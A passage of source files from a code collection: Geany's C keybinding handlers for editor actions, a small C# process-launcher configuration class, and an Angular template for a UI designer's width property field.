} return TRUE; } static void cb_func_menu_preferences(guint key_id) { switch (key_id) { case GEANY_KEYS_SETTINGS_PREFERENCES: on_preferences1_activate(NULL, NULL); break; case GEANY_KEYS_SETTINGS_PLUGINPREFERENCES: on_plugin_preferences1_activate(NULL, NULL); break; } } static void cb_func_menu_help(G_GNUC_UNUSED guint key_id) { on_help1_activate(NULL, NULL); } static gboolean cb_func_search_action(guint key_id) { GeanyDocument *doc = document_get_current(); ScintillaObject *sci; if (key_id == GEANY_KEYS_SEARCH_FINDINFILES) { on_find_in_files1_activate(NULL, NULL); /* works without docs too */ return TRUE; } if (!doc) return TRUE; sci = doc->editor->sci; switch (key_id) { case GEANY_KEYS_SEARCH_FIND: on_find1_activate(NULL, NULL); break; case GEANY_KEYS_SEARCH_FINDNEXT: on_find_next1_activate(NULL, NULL); break; case GEANY_KEYS_SEARCH_FINDPREVIOUS: on_find_previous1_activate(NULL, NULL); break; case GEANY_KEYS_SEARCH_FINDPREVSEL: on_find_prevsel1_activate(NULL, NULL); break; case GEANY_KEYS_SEARCH_FINDNEXTSEL: on_find_nextsel1_activate(NULL, NULL); break; case GEANY_KEYS_SEARCH_REPLACE: on_replace1_activate(NULL, NULL); break; case GEANY_KEYS_SEARCH_NEXTMESSAGE: on_next_message1_activate(NULL, NULL); break; case GEANY_KEYS_SEARCH_PREVIOUSMESSAGE: on_previous_message1_activate(NULL, NULL); break; case GEANY_KEYS_SEARCH_FINDUSAGE: on_find_usage1_activate(NULL, NULL); break; case GEANY_KEYS_SEARCH_FINDDOCUMENTUSAGE: on_find_document_usage1_activate(NULL, NULL); break; case GEANY_KEYS_SEARCH_MARKALL: { gchar *text = get_current_word_or_sel(doc, TRUE); if (sci_has_selection(sci)) search_mark_all(doc, text, SCFIND_MATCHCASE); else { /* clears markers if text is null */ search_mark_all(doc, text, SCFIND_MATCHCASE | SCFIND_WHOLEWORD); } g_free(text); break; } } return TRUE; } static void cb_func_menu_opencolorchooser(G_GNUC_UNUSED guint key_id) { on_show_color_chooser1_activate(NULL, NULL); } static gboolean cb_func_view_action(guint key_id) { switch (key_id) { case GEANY_KEYS_VIEW_TOGGLEALL: on_menu_toggle_all_additional_widgets1_activate(NULL, NULL); break; case GEANY_KEYS_VIEW_SIDEBAR: on_menu_show_sidebar1_toggled(NULL, NULL); break; case GEANY_KEYS_VIEW_ZOOMIN: on_zoom_in1_activate(NULL, NULL); break; case GEANY_KEYS_VIEW_ZOOMOUT: on_zoom_out1_activate(NULL, NULL); break; case GEANY_KEYS_VIEW_ZOOMRESET: on_normal_size1_activate(NULL, NULL); break; default: break; } return TRUE; } static void cb_func_menu_fullscreen(G_GNUC_UNUSED guint key_id) { GtkCheckMenuItem *c = GTK_CHECK_MENU_ITEM( ui_lookup_widget(main_widgets.window, "menu_fullscreen1")); gtk_check_menu_item_set_active(c, ! gtk_check_menu_item_get_active(c)); } static void cb_func_menu_messagewindow(G_GNUC_UNUSED guint key_id) { GtkCheckMenuItem *c = GTK_CHECK_MENU_ITEM( ui_lookup_widget(main_widgets.window, "menu_show_messages_window1")); gtk_check_menu_item_set_active(c, ! gtk_check_menu_item_get_active(c)); } static gboolean cb_func_build_action(guint key_id) { GtkWidget *item; BuildMenuItems *menu_items; GeanyDocument *doc = document_get_current(); if (doc == NULL) return TRUE; if (!GTK_WIDGET_IS_SENSITIVE(ui_lookup_widget(main_widgets.window, "menu_build1"))) return TRUE; menu_items = build_get_menu_items(doc->file_type->id); /* TODO make it a table??*/ switch (key_id) { case GEANY_KEYS_BUILD_COMPILE: item = menu_items->menu_item[GEANY_GBG_FT][GBO_TO_CMD(GEANY_GBO_COMPILE)]; break; case GEANY_KEYS_BUILD_LINK: item = menu_items->menu_item[GEANY_GBG_FT][GBO_TO_CMD(GEANY_GBO_BUILD)]; break; case GEANY_KEYS_BUILD_MAKE: item = menu_items->menu_item[GEANY_GBG_NON_FT][GBO_TO_CMD(GEANY_GBO_MAKE_ALL)]; break; case GEANY_KEYS_BUILD_MAKEOWNTARGET: item = menu_items->menu_item[GEANY_GBG_NON_FT][GBO_TO_CMD(GEANY_GBO_CUSTOM)]; break; case GEANY_KEYS_BUILD_MAKEOBJECT: item = menu_items->menu_item[GEANY_GBG_NON_FT][GBO_TO_CMD(GEANY_GBO_MAKE_OBJECT)]; break; case GEANY_KEYS_BUILD_NEXTERROR: item = menu_items->menu_item[GBG_FIXED][GBF_NEXT_ERROR]; break; case GEANY_KEYS_BUILD_PREVIOUSERROR: item = menu_items->menu_item[GBG_FIXED][GBF_PREV_ERROR]; break; case GEANY_KEYS_BUILD_RUN: item = menu_items->menu_item[GEANY_GBG_EXEC][GBO_TO_CMD(GEANY_GBO_EXEC)]; break; case GEANY_KEYS_BUILD_OPTIONS: item = menu_items->menu_item[GBG_FIXED][GBF_COMMANDS]; break; default: item = NULL; } /* Note: For Build menu items it's OK (at the moment) to assume they are in the correct * sensitive state, but some other menus don't update the sensitive status until * they are redrawn. */ if (item && GTK_WIDGET_IS_SENSITIVE(item)) gtk_menu_item_activate(GTK_MENU_ITEM(item)); return TRUE; } static gboolean read_current_word(GeanyDocument *doc, gboolean sci_word) { if (doc == NULL) return FALSE; if (sci_word) { editor_find_current_word_sciwc(doc->editor, -1, editor_info.current_word, GEANY_MAX_WORD_LENGTH); } else { editor_find_current_word(doc->editor, -1, editor_info.current_word, GEANY_MAX_WORD_LENGTH, NULL); } return (*editor_info.current_word != 0); } static gboolean check_current_word(GeanyDocument *doc, gboolean sci_word) { if (! read_current_word(doc, sci_word)) { utils_beep(); return FALSE; } return TRUE; } static gchar *get_current_word_or_sel(GeanyDocument *doc, gboolean sci_word) { ScintillaObject *sci = doc->editor->sci; if (sci_has_selection(sci)) return sci_get_selection_contents(sci); return read_current_word(doc, sci_word) ? g_strdup(editor_info.current_word) : NULL; } static void focus_sidebar(void) { if (ui_prefs.sidebar_visible) { gint page_num = gtk_notebook_get_current_page(GTK_NOTEBOOK(main_widgets.sidebar_notebook)); GtkWidget *page = gtk_notebook_get_nth_page(GTK_NOTEBOOK(main_widgets.sidebar_notebook), page_num); /* gtk_widget_grab_focus() won't work because of the scrolled window containers */ gtk_widget_child_focus(page, GTK_DIR_TAB_FORWARD); } } static void focus_msgwindow(void) { if (ui_prefs.msgwindow_visible) { gint page_num = gtk_notebook_get_current_page(GTK_NOTEBOOK(msgwindow.notebook)); GtkWidget *page = gtk_notebook_get_nth_page(GTK_NOTEBOOK(msgwindow.notebook), page_num); gtk_widget_grab_focus(gtk_bin_get_child(GTK_BIN(page))); } } static gboolean cb_func_switch_action(guint key_id) { switch (key_id) { case GEANY_KEYS_FOCUS_EDITOR: { GeanyDocument *doc = document_get_current(); if (doc != NULL) { GtkWidget *sci = GTK_WIDGET(doc->editor->sci); if (GTK_WIDGET_HAS_FOCUS(sci)) ui_update_statusbar(doc, -1); else gtk_widget_grab_focus(sci); } break; } case GEANY_KEYS_FOCUS_SCRIBBLE: msgwin_switch_tab(MSG_SCRATCH, TRUE); break; case GEANY_KEYS_FOCUS_SEARCHBAR: if (toolbar_prefs.visible) { GtkWidget *search_entry = toolbar_get_widget_child_by_name("SearchEntry"); if (search_entry != NULL) gtk_widget_grab_focus(search_entry); } break; case GEANY_KEYS_FOCUS_SIDEBAR: focus_sidebar(); break; case GEANY_KEYS_FOCUS_VTE: msgwin_switch_tab(MSG_VTE, TRUE); break; case GEANY_KEYS_FOCUS_COMPILER: msgwin_switch_tab(MSG_COMPILER, TRUE); break; case GEANY_KEYS_FOCUS_MESSAGES: msgwin_switch_tab(MSG_MESSAGE, TRUE); break; case GEANY_KEYS_FOCUS_MESSAGE_WINDOW: focus_msgwindow(); break; case GEANY_KEYS_FOCUS_SIDEBAR_DOCUMENT_LIST: sidebar_focus_openfiles_tab(); break; case GEANY_KEYS_FOCUS_SIDEBAR_SYMBOL_LIST: sidebar_focus_symbols_tab(); break; } return TRUE; } static void switch_notebook_page(gint direction) { gint page_count, cur_page; gboolean parent_is_notebook = FALSE; GtkNotebook *notebook; GtkWidget *focusw = gtk_window_get_focus(GTK_WINDOW(main_widgets.window)); /* check whether the current widget is a GtkNotebook or a child of a GtkNotebook */ do { parent_is_notebook = GTK_IS_NOTEBOOK(focusw); } while (! parent_is_notebook && (focusw = gtk_widget_get_parent(focusw)) != NULL); /* if we found a GtkNotebook widget, use it. Otherwise fallback to the documents notebook */ if (parent_is_notebook) notebook = GTK_NOTEBOOK(focusw); else notebook = GTK_NOTEBOOK(main_widgets.notebook); /* now switch pages */ page_count = gtk_notebook_get_n_pages(notebook); cur_page = gtk_notebook_get_current_page(notebook); if (direction == GTK_DIR_LEFT) { if (cur_page > 0) gtk_notebook_set_current_page(notebook, cur_page - 1); else gtk_notebook_set_current_page(notebook, page_count - 1); } else if (direction == GTK_DIR_RIGHT) { if (cur_page < page_count - 1) gtk_notebook_set_current_page(notebook, cur_page + 1); else gtk_notebook_set_current_page(notebook, 0); } } static void cb_func_switch_tableft(G_GNUC_UNUSED guint key_id) { switch_notebook_page(GTK_DIR_LEFT); } static void cb_func_switch_tabright(G_GNUC_UNUSED guint key_id) { switch_notebook_page(GTK_DIR_RIGHT); } static void cb_func_switch_tablastused(G_GNUC_UNUSED guint key_id) { notebook_switch_tablastused(); } /* move document left/right/first/last */ static void cb_func_move_tab(guint key_id) { GtkWidget *sci; GtkNotebook *nb = GTK_NOTEBOOK(main_widgets.notebook); gint cur_page = gtk_notebook_get_current_page(nb); GeanyDocument *doc = document_get_current(); if (doc == NULL) return; sci = GTK_WIDGET(doc->editor->sci); switch (key_id) { case GEANY_KEYS_NOTEBOOK_MOVETABLEFT: gtk_notebook_reorder_child(nb, sci, cur_page - 1); /* notebook wraps around by default */ break; case GEANY_KEYS_NOTEBOOK_MOVETABRIGHT: { gint npage = cur_page + 1; if (npage == gtk_notebook_get_n_pages(nb)) npage = 0; /* wraparound */ gtk_notebook_reorder_child(nb, sci, npage); break; } case GEANY_KEYS_NOTEBOOK_MOVETABFIRST: gtk_notebook_reorder_child(nb, sci, (file_prefs.tab_order_ltr) ? 0 : -1); break; case GEANY_KEYS_NOTEBOOK_MOVETABLAST: gtk_notebook_reorder_child(nb, sci, (file_prefs.tab_order_ltr) ? -1 : 0); break; } return; } static void goto_matching_brace(GeanyDocument *doc) { gint pos, new_pos; gint after_brace; if (doc == NULL) return; pos = sci_get_current_position(doc->editor->sci); after_brace = pos > 0 && utils_isbrace(sci_get_char_at(doc->editor->sci, pos - 1), TRUE); pos -= after_brace; /* set pos to the brace */ new_pos = sci_find_matching_brace(doc->editor->sci, pos); if (new_pos != -1) { /* set the cursor at/after the brace */ sci_set_current_position(doc->editor->sci, new_pos + (!after_brace), FALSE); editor_display_current_line(doc->editor, 0.5F); } } static gboolean cb_func_clipboard_action(guint key_id) { GeanyDocument *doc = document_get_current(); if (doc == NULL) return TRUE; switch (key_id) { case GEANY_KEYS_CLIPBOARD_CUT: on_cut1_activate(NULL, NULL); break; case GEANY_KEYS_CLIPBOARD_COPY: on_copy1_activate(NULL, NULL); break; case GEANY_KEYS_CLIPBOARD_PASTE: on_paste1_activate(NULL, NULL); break; case GEANY_KEYS_CLIPBOARD_COPYLINE: sci_send_command(doc->editor->sci, SCI_LINECOPY); break; case GEANY_KEYS_CLIPBOARD_CUTLINE: sci_send_command(doc->editor->sci, SCI_LINECUT); break; } return TRUE; } static void goto_tag(GeanyDocument *doc, gboolean definition) { gchar *text = get_current_word_or_sel(doc, FALSE); if (text) symbols_goto_tag(text, definition); else utils_beep(); g_free(text); } /* Common function for goto keybindings, useful even when sci doesn't have focus. */ static gboolean cb_func_goto_action(guint key_id) { gint cur_line; GeanyDocument *doc = document_get_current(); if (doc == NULL) return TRUE; cur_line = sci_get_current_line(doc->editor->sci); switch (key_id) { case GEANY_KEYS_GOTO_BACK: navqueue_go_back(); return TRUE; case GEANY_KEYS_GOTO_FORWARD: navqueue_go_forward(); return TRUE; case GEANY_KEYS_GOTO_LINE: { if (toolbar_prefs.visible) { GtkWidget *wid = toolbar_get_widget_child_by_name("GotoEntry"); /* use toolbar item if shown & not in the drop down overflow menu */ if (wid && GTK_WIDGET_MAPPED(wid)) { gtk_widget_grab_focus(wid); return TRUE; } } on_go_to_line_activate(NULL, NULL); return TRUE; } case GEANY_KEYS_GOTO_MATCHINGBRACE: goto_matching_brace(doc); return TRUE; case GEANY_KEYS_GOTO_TOGGLEMARKER: { sci_toggle_marker_at_line(doc->editor->sci, cur_line, 1); return TRUE; } case GEANY_KEYS_GOTO_NEXTMARKER: { gint mline = sci_marker_next(doc->editor->sci, cur_line + 1, 1 << 1, TRUE); if (mline != -1) { sci_set_current_line(doc->editor->sci, mline); editor_display_current_line(doc->editor, 0.5F); } return TRUE; } case GEANY_KEYS_GOTO_PREVIOUSMARKER: { gint mline = sci_marker_previous(doc->editor->sci, cur_line - 1, 1 << 1, TRUE); if (mline != -1) { sci_set_current_line(doc->editor->sci, mline); editor_display_current_line(doc->editor, 0.5F); } return TRUE; } case GEANY_KEYS_GOTO_TAGDEFINITION: goto_tag(doc, TRUE); return TRUE; case GEANY_KEYS_GOTO_TAGDECLARATION: goto_tag(doc, FALSE); return TRUE; } /* only check editor-sensitive keybindings when editor has focus so home,end still * work in other widgets */ if (gtk_window_get_focus(GTK_WINDOW(main_widgets.window)) != GTK_WIDGET(doc->editor->sci)) return FALSE; switch (key_id) { case GEANY_KEYS_GOTO_LINESTART: sci_send_command(doc->editor->sci, editor_prefs.smart_home_key ? SCI_VCHOME : SCI_HOME); break; case GEANY_KEYS_GOTO_LINEEND: sci_send_command(doc->editor->sci, SCI_LINEEND); break; case GEANY_KEYS_GOTO_LINEENDVISUAL: sci_send_command(doc->editor->sci, SCI_LINEENDDISPLAY); break; case GEANY_KEYS_GOTO_PREVWORDPART: sci_send_command(doc->editor->sci, SCI_WORDPARTLEFT); break; case GEANY_KEYS_GOTO_NEXTWORDPART: sci_send_command(doc->editor->sci, SCI_WORDPARTRIGHT); break; } return TRUE; } static void duplicate_lines(GeanyEditor *editor) { if (sci_get_lines_selected(editor->sci) > 1) { /* ignore extra_line because of selecting lines from the line number column */ editor_select_lines(editor, FALSE); sci_selection_duplicate(editor->sci); } else if (sci_has_selection(editor->sci)) sci_selection_duplicate(editor->sci); else sci_line_duplicate(editor->sci); } static void delete_lines(GeanyEditor *editor) { editor_select_lines(editor, TRUE); /* include last line (like cut lines, copy lines do) */ sci_clear(editor->sci); /* (SCI_LINEDELETE only does 1 line) */ } /* common function for editor keybindings, only valid when scintilla has focus. */ static gboolean cb_func_editor_action(guint key_id) { GeanyDocument *doc = document_get_current(); GtkWidget *focusw = gtk_window_get_focus(GTK_WINDOW(main_widgets.window)); /* edit keybindings only valid when scintilla widget has focus */ if (doc == NULL || focusw != GTK_WIDGET(doc->editor->sci)) return FALSE; /* also makes tab work outside editor */ switch (key_id) { case GEANY_KEYS_EDITOR_UNDO: on_undo1_activate(NULL, NULL); break; case GEANY_KEYS_EDITOR_REDO: on_redo1_activate(NULL, NULL); break; case GEANY_KEYS_EDITOR_SCROLLTOLINE: editor_scroll_to_line(doc->editor, -1, 0.5F); break; case GEANY_KEYS_EDITOR_SCROLLLINEUP: sci_send_command(doc->editor->sci, SCI_LINESCROLLUP); break; case GEANY_KEYS_EDITOR_SCROLLLINEDOWN: sci_send_command(doc->editor->sci, SCI_LINESCROLLDOWN); break; case GEANY_KEYS_EDITOR_DUPLICATELINE: duplicate_lines(doc->editor); break; case GEANY_KEYS_EDITOR_SNIPPETNEXTCURSOR: editor_goto_next_snippet_cursor(doc->editor); break; case GEANY_KEYS_EDITOR_DELETELINE: delete_lines(doc->editor); break; case GEANY_KEYS_EDITOR_DELETELINETOEND: sci_send_command(doc->editor->sci, SCI_DELLINERIGHT); break; case GEANY_KEYS_EDITOR_TRANSPOSELINE: sci_send_command(doc->editor->sci, SCI_LINETRANSPOSE); break; case GEANY_KEYS_EDITOR_AUTOCOMPLETE: editor_start_auto_complete(doc->editor, sci_get_current_position(doc->editor->sci), TRUE); break; case GEANY_KEYS_EDITOR_CALLTIP: editor_show_calltip(doc->editor, -1); break; case GEANY_KEYS_EDITOR_MACROLIST: editor_show_macro_list(doc->editor); break; case GEANY_KEYS_EDITOR_CONTEXTACTION: if (check_current_word(doc, FALSE)) on_context_action1_activate(GTK_MENU_ITEM(ui_lookup_widget(main_widgets.editor_menu, "context_action1")), NULL); break; case GEANY_KEYS_EDITOR_COMPLETESNIPPET: /* allow tab to be overloaded */ return check_snippet_completion(doc); case GEANY_KEYS_EDITOR_SUPPRESSSNIPPETCOMPLETION: { GeanyKeyBinding *kb = keybindings_lookup_item(GEANY_KEY_GROUP_EDITOR, GEANY_KEYS_EDITOR_COMPLETESNIPPET); switch (kb->key) { case GDK_space: sci_add_text(doc->editor->sci, " "); break; case GDK_Tab: sci_send_command(doc->editor->sci, SCI_TAB); break; default: break; } break; } case GEANY_KEYS_EDITOR_WORDPARTCOMPLETION: return editor_complete_word_part(doc->editor); case GEANY_KEYS_EDITOR_MOVELINEUP: sci_move_selected_lines_up(doc->editor->sci); break; case GEANY_KEYS_EDITOR_MOVELINEDOWN: sci_move_selected_lines_down(doc->editor->sci); break; } return TRUE; } static void join_lines(GeanyEditor *editor) { gint start, end, i; start = sci_get_line_from_position(editor->sci, sci_get_selection_start(editor->sci)); end = sci_get_line_from_position(editor->sci, sci_get_selection_end(editor->sci)); /* remove spaces surrounding the lines so that these spaces * won't appear within text after joining */ for (i = start; i < end; i++) editor_strip_line_trailing_spaces(editor, i); for (i = start + 1; i <= end; i++) sci_set_line_indentation(editor->sci, i, 0); sci_set_target_start(editor->sci, sci_get_position_from_line(editor->sci, start)); sci_set_target_end(editor->sci, sci_get_position_from_line(editor->sci, end)); sci_lines_join(editor->sci); } static gint get_reflow_column(GeanyEditor *editor) { const GeanyEditorPrefs *eprefs = editor_get_prefs(editor); if (editor->line_breaking) return eprefs->line_break_column; else if (eprefs->long_line_type != 2) return eprefs->long_line_column; else return -1; /* do nothing */ } static void reflow_lines(GeanyEditor *editor, gint column) { gint start, indent, linescount, i; start = sci_get_line_from_position(editor->sci, sci_get_selection_start(editor->sci)); /* if several lines are selected, join them. */ if (sci_get_lines_selected(editor->sci) > 1) join_lines(editor); /* if this line is short enough, do nothing */ if (column > sci_get_line_end_position(editor->sci, start) - sci_get_position_from_line(editor->sci, start)) { return; } /* * We have to manipulate line indentation so that indentation * of the resulting lines would be consistent. For example, * the result of splitting "[TAB]very long content": * * +-------------+-------------+ * | proper | wrong | * +-------------+-------------+ * | [TAB]very | [TAB]very | * | [TAB]long | long | * | [TAB]content| content | * +-------------+-------------+ */ indent = sci_get_line_indentation(editor->sci, start); sci_set_line_indentation(editor->sci, start, 0); sci_target_from_selection(editor->sci); linescount = sci_get_line_count(editor->sci); sci_lines_split(editor->sci, (column - indent) * sci_text_width(editor->sci, STYLE_DEFAULT, " ")); /* use lines count to determine how many lines appeared after splitting */ linescount = sci_get_line_count(editor->sci) - linescount; /* Fix indentation. */ for (i = start; i <= start + linescount; i++) sci_set_line_indentation(editor->sci, i, indent); /* Remove trailing spaces. */ if (editor_prefs.newline_strip || file_prefs.strip_trailing_spaces) { for (i = start; i <= start + linescount; i++) editor_strip_line_trailing_spaces(editor, i); } } /* deselect last newline of selection, if any */ static void sci_deselect_last_newline(ScintillaObject *sci) { gint start, end; start = sci_get_selection_start(sci); end = sci_get_selection_end(sci); if (end > start && sci_get_col_from_position(sci, end) == 0) { end = sci_get_line_end_position(sci, sci_get_line_from_position(sci, end-1)); sci_set_selection(sci, start, end); } } static void reflow_paragraph(GeanyEditor *editor) { ScintillaObject *sci = editor->sci; gboolean sel; gint column; column = get_reflow_column(editor); if (column == -1) { utils_beep(); return; } sci_start_undo_action(sci); sel = sci_has_selection(sci); if (!sel) editor_select_indent_block(editor); sci_deselect_last_newline(sci); reflow_lines(editor, column); if (!sel) sci_set_anchor(sci, -1); sci_end_undo_action(sci); } static void join_paragraph(GeanyEditor *editor) { ScintillaObject *sci = editor->sci; gboolean sel; gint column; column = get_reflow_column(editor); if (column == -1) { utils_beep(); return; } sci_start_undo_action(sci); sel = sci_has_selection(sci); if (!sel) editor_select_indent_block(editor); sci_deselect_last_newline(sci); join_lines(editor); if (!sel) sci_set_anchor(sci, -1); sci_end_undo_action(sci); } /* common function for format keybindings, only valid when scintilla has focus. */ static gboolean cb_func_format_action(guint key_id) { GeanyDocument *doc = document_get_current(); GtkWidget *focusw = gtk_window_get_focus(GTK_WINDOW(main_widgets.window)); /* keybindings only valid when scintilla widget has focus */ if (doc == NULL || focusw != GTK_WIDGET(doc->editor->sci)) return TRUE; switch (key_id) { case GEANY_KEYS_FORMAT_COMMENTLINETOGGLE: on_menu_toggle_line_commentation1_activate(NULL, NULL); break; case GEANY_KEYS_FORMAT_COMMENTLINE: on_menu_comment_line1_activate(NULL, NULL); break; case GEANY_KEYS_FORMAT_UNCOMMENTLINE: on_menu_uncomment_line1_activate(NULL, NULL); break; case GEANY_KEYS_FORMAT_INCREASEINDENT: on_menu_increase_indent1_activate(NULL, NULL); break; case GEANY_KEYS_FORMAT_DECREASEINDENT: on_menu_decrease_indent1_activate(NULL, NULL); break; case GEANY_KEYS_FORMAT_INCREASEINDENTBYSPACE: editor_indentation_by_one_space(doc->editor, -1, FALSE); break; case GEANY_KEYS_FORMAT_DECREASEINDENTBYSPACE: editor_indentation_by_one_space(doc->editor, -1, TRUE); break; case GEANY_KEYS_FORMAT_AUTOINDENT: editor_smart_line_indentation(doc->editor, -1); break; case GEANY_KEYS_FORMAT_TOGGLECASE: on_toggle_case1_activate(NULL, NULL); break; case GEANY_KEYS_FORMAT_SENDTOCMD1: if (ui_prefs.custom_commands && g_strv_length(ui_prefs.custom_commands) > 0) tools_execute_custom_command(doc, ui_prefs.custom_commands[0]); break; case GEANY_KEYS_FORMAT_SENDTOCMD2: if (ui_prefs.custom_commands && g_strv_length(ui_prefs.custom_commands) > 1) tools_execute_custom_command(doc, ui_prefs.custom_commands[1]); break; case GEANY_KEYS_FORMAT_SENDTOCMD3: if (ui_prefs.custom_commands && g_strv_length(ui_prefs.custom_commands) > 2) tools_execute_custom_command(doc, ui_prefs.custom_commands[2]); break; case GEANY_KEYS_FORMAT_SENDTOVTE: on_send_selection_to_vte1_activate(NULL, NULL); break; case GEANY_KEYS_FORMAT_REFLOWPARAGRAPH: reflow_paragraph(doc->editor); break; case GEANY_KEYS_FORMAT_JOINLINES: join_paragraph(doc->editor); break; } return TRUE; } /* common function for select keybindings, only valid when scintilla has focus. */ static gboolean cb_func_select_action(guint key_id) { GeanyDocument *doc; ScintillaObject *sci; GtkWidget *focusw = gtk_window_get_focus(GTK_WINDOW(main_widgets.window)); GtkWidget *toolbar_search_entry = toolbar_get_widget_child_by_name("SearchEntry"); GtkWidget *toolbar_goto_entry = toolbar_get_widget_child_by_name("GotoEntry"); /* special case for Select All in the scribble widget */ if (key_id == GEANY_KEYS_SELECT_ALL && focusw == msgwindow.scribble) { g_signal_emit_by_name(msgwindow.scribble, "select-all", TRUE); return TRUE; } /* special case for Select All in the VTE widget */ #ifdef HAVE_VTE else if (key_id == GEANY_KEYS_SELECT_ALL && vte_info.have_vte && focusw == vc->vte) { vte_select_all(); return TRUE; } #endif /* special case for Select All in the toolbar search widget */ else if (key_id == GEANY_KEYS_SELECT_ALL && focusw == toolbar_search_entry) { gtk_editable_select_region(GTK_EDITABLE(toolbar_search_entry), 0, -1); return TRUE; } else if (key_id == GEANY_KEYS_SELECT_ALL && focusw == toolbar_goto_entry) { gtk_editable_select_region(GTK_EDITABLE(toolbar_goto_entry), 0, -1); return TRUE; } doc = document_get_current(); /* keybindings only valid when scintilla widget has focus */ if (doc == NULL || focusw != GTK_WIDGET(doc->editor->sci)) return TRUE; sci = doc->editor->sci; switch (key_id) { case GEANY_KEYS_SELECT_ALL: on_menu_select_all1_activate(NULL, NULL); break; case GEANY_KEYS_SELECT_WORD: editor_select_word(doc->editor); break; case GEANY_KEYS_SELECT_LINE: editor_select_lines(doc->editor, FALSE); break; case GEANY_KEYS_SELECT_PARAGRAPH: editor_select_paragraph(doc->editor); break; case GEANY_KEYS_SELECT_WORDPARTLEFT: sci_send_command(sci, SCI_WORDPARTLEFTEXTEND); break; case GEANY_KEYS_SELECT_WORDPARTRIGHT: sci_send_command(sci, SCI_WORDPARTRIGHTEXTEND); break; } return TRUE; } static gboolean cb_func_document_action(guint key_id) { GeanyDocument *doc = document_get_current(); if (doc == NULL) return TRUE; switch (key_id) { case GEANY_KEYS_DOCUMENT_REPLACETABS: on_replace_tabs_activate(NULL, NULL); break; case GEANY_KEYS_DOCUMENT_REPLACESPACES: on_replace_spaces_activate(NULL, NULL); break; case GEANY_KEYS_DOCUMENT_LINEBREAK: on_line_breaking1_activate(NULL, NULL); ui_document_show_hide(doc); break; case GEANY_KEYS_DOCUMENT_LINEWRAP: on_line_wrapping1_toggled(NULL, NULL); ui_document_show_hide(doc); break; case GEANY_KEYS_DOCUMENT_RELOADTAGLIST: document_update_tags(doc); break; case GEANY_KEYS_DOCUMENT_FOLDALL: editor_fold_all(doc->editor); break; case GEANY_KEYS_DOCUMENT_UNFOLDALL: editor_unfold_all(doc->editor); break; case GEANY_KEYS_DOCUMENT_TOGGLEFOLD: if (editor_prefs.folding) { gint line = sci_get_current_line(doc->editor->sci); editor_toggle_fold(doc->editor, line, 0); break; } case GEANY_KEYS_DOCUMENT_REMOVE_MARKERS: on_remove_markers1_activate(NULL, NULL); break; case GEANY_KEYS_DOCUMENT_REMOVE_ERROR_INDICATORS: on_menu_remove_indicators1_activate(NULL, NULL); break; case GEANY_KEYS_DOCUMENT_REMOVE_MARKERS_INDICATORS: on_remove_markers1_activate(NULL, NULL); on_menu_remove_indicators1_activate(NULL, NULL); break; } return TRUE; } static void insert_line_after(GeanyEditor *editor) { ScintillaObject *sci = editor->sci; sci_send_command(sci, SCI_LINEEND); sci_send_command(sci, SCI_NEWLINE); } static void insert_line_before(GeanyEditor *editor) { ScintillaObject *sci = editor->sci; gint line = sci_get_current_line(sci); gint indentpos = sci_get_line_indent_position(sci, line); sci_set_current_position(sci, indentpos, TRUE); sci_send_command(sci, SCI_NEWLINE); sci_send_command(sci, SCI_LINEUP); } /* common function for insert keybindings, only valid when scintilla has focus. */ static gboolean cb_func_insert_action(guint key_id) { GeanyDocument *doc = document_get_current(); GtkWidget *focusw = gtk_window_get_focus(GTK_WINDOW(main_widgets.window)); /* keybindings only valid when scintilla widget has focus */ if (doc == NULL || focusw != GTK_WIDGET(doc->editor->sci)) return TRUE; switch (key_id) { case GEANY_KEYS_INSERT_ALTWHITESPACE: editor_insert_alternative_whitespace(doc->editor); break; case GEANY_KEYS_INSERT_DATE: gtk_menu_item_activate(GTK_MENU_ITEM( ui_lookup_widget(main_widgets.window, "insert_date_custom1"))); break; case GEANY_KEYS_INSERT_LINEAFTER: insert_line_after(doc->editor); break; case GEANY_KEYS_INSERT_LINEBEFORE: insert_line_before(doc->editor); break; } return TRUE; } /* update key combination */ void keybindings_update_combo(GeanyKeyBinding *kb, guint key, GdkModifierType mods) { GtkWidget *widget = kb->menu_item; if (widget && kb->key) gtk_widget_remove_accelerator(widget, kb_accel_group, kb->key, kb->mods); kb->key = key; kb->mods = mods; if (widget && kb->key) gtk_widget_add_accelerator(widget, "activate", kb_accel_group, kb->key, kb->mods, GTK_ACCEL_VISIBLE); } /* used for plugins, can be called repeatedly. */ GeanyKeyGroup *keybindings_set_group(GeanyKeyGroup *group, const gchar *section_name, const gchar *label, gsize count, GeanyKeyGroupCallback callback) { g_return_val_if_fail(section_name, NULL); g_return_val_if_fail(count, NULL); /* prevent conflict with core bindings */ g_return_val_if_fail(!g_str_equal(section_name, keybindings_keyfile_group_name), NULL); if (!group) { group = g_new0(GeanyKeyGroup, 1); add_kb_group(group, section_name, label, callback, TRUE); } g_free(group->plugin_keys); group->plugin_keys = g_new0(GeanyKeyBinding, count); group->plugin_key_count = count; g_ptr_array_set_size(group->key_items, 0); return group; } void keybindings_free_group(GeanyKeyGroup *group) { GeanyKeyBinding *kb; g_ptr_array_free(group->key_items, TRUE); if (group->plugin) { foreach_c_array(kb, group->plugin_keys, group->plugin_key_count) { g_free(kb->name); g_free(kb->label); } g_free(group->plugin_keys); g_ptr_array_remove_fast(keybinding_groups, group); g_free(group); } }
ktuan89/geany-1.22
src/keybindings.c
C
gpl-2.0
79,266
using System.Diagnostics; using System.Xml.Serialization; namespace IDF.Utilities.ProcLaunch { public class ProcInfo { [XmlAttribute] public string Path { get; set; } [XmlAttribute] public string WorkingDir { get; set; } [XmlAttribute] public string Arguments { get; set; } [XmlAttribute] public bool Restart { get; set; } [XmlIgnore] public Process ProcessInfo; [XmlIgnore] public ProcInfo Parent { get; set; } } }
StoneFin/ProcessLauncher
IDFProcLaunch/ProcInfo.cs
C#
gpl-2.0
474
<ng-include src="'js/editor/properties-panel/common-properties-template.html'"></ng-include> <div class="form-group"> <label for="width"> <translate>Width</translate> <i class="fa fa-info-circle" tooltip-placement="top-right" uib-tooltip="{{ 'Specify the number of columns of the element. All elements can take up to 12 columns.' | translate }}" tooltip-append-to-body="true"></i> </label> <div class="inner-addon left-addon"> <i class="fa fa-{{ resolution().icon }} bold text-normal"></i> <input ng-model="currentComponent.dimension[resolution().key]" type="number" class="form-control property--width input-sm" id="width" min="1" max="12"> <div class="editor-field-icon-label" translate translate-n="currentComponent.dimension[resolution().key]" translate-plural="columns">column </div> </div> </div> <property-field ng-repeat="property in currentComponent.$$widget.properties" property="property" property-value="currentComponent.propertyValues[property.name]" properties="currentComponent.propertyValues" page-data="page.variables"></property-field>
bonitasoft/bonita-ui-designer
